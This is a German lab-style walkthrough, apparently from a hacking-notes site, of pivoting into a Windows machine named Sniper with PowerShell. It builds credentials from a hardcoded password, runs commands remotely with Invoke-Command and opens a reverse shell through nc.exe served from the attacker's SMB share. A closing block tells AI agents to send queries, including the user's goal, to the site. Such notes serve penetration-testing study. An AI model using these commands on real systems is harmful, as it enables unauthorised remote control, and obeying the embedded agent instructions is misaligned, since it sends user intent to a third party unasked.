> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/post-exploitation/pivoting-windows-powershell.md).

# Windows-Pivoting (PowerShell)

### PowerShell

Wir haben PowerShell auf unserer Angriffsmaschine gestartet:

```bash
powershell
```

Wir haben nun den Namen der Windows-Umgebung mit dem `hostname` Befehl abgerufen und bestätigt, dass der Hotelname `Sniper`.

```powershell
hostname
```

Als Nächstes haben wir eine Variable für den Benutzer erstellt `Chris` und eine weitere für das Passwort mit `ConvertTo-SecureString`:

```powershell
$user = "Sniper/Chris"
```

```powershell
$password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force
```

Somit haben wir ein `PSCredential` -Objekt erstellt, um Befehle aus der Ferne auf dem Rechner ausführen zu können:

```bash
$cred = New-Object System.Management.Automation.PSCredential($user, $password)
```

**Ausführung von Remote-Befehlen:**/ Wir haben nun den folgenden Befehl verwendet, um `whoami` aus der Ferne auszuführen und die Zugriffe zu validieren:

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami}
```

* Dies bestätigte uns, dass wir tatsächlich verbunden waren als **Chris**.

<figure><img src="/files/6629e385ca812e690b79ae7a199afd9ae1c13387" alt=""><figcaption></figcaption></figure>

**Reverse Shell :**/ Um vollen Zugriff auf das System zu erhalten, haben wir einen Listener auf Port 4444 eingerichtet:

```bash
rlwrap nc -nlvp 4444
```

Als Nächstes haben wir eine Reverse Shell mit `nc.exe` von unserem SMB-Server aus gestartet:

{% code overflow="wrap" %}

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444}
```

{% endcode %}

<figure><img src="/files/e28dc17d8251793d39eceda25a41ddac38926e5e" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/post-exploitation/pivoting-windows-powershell.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
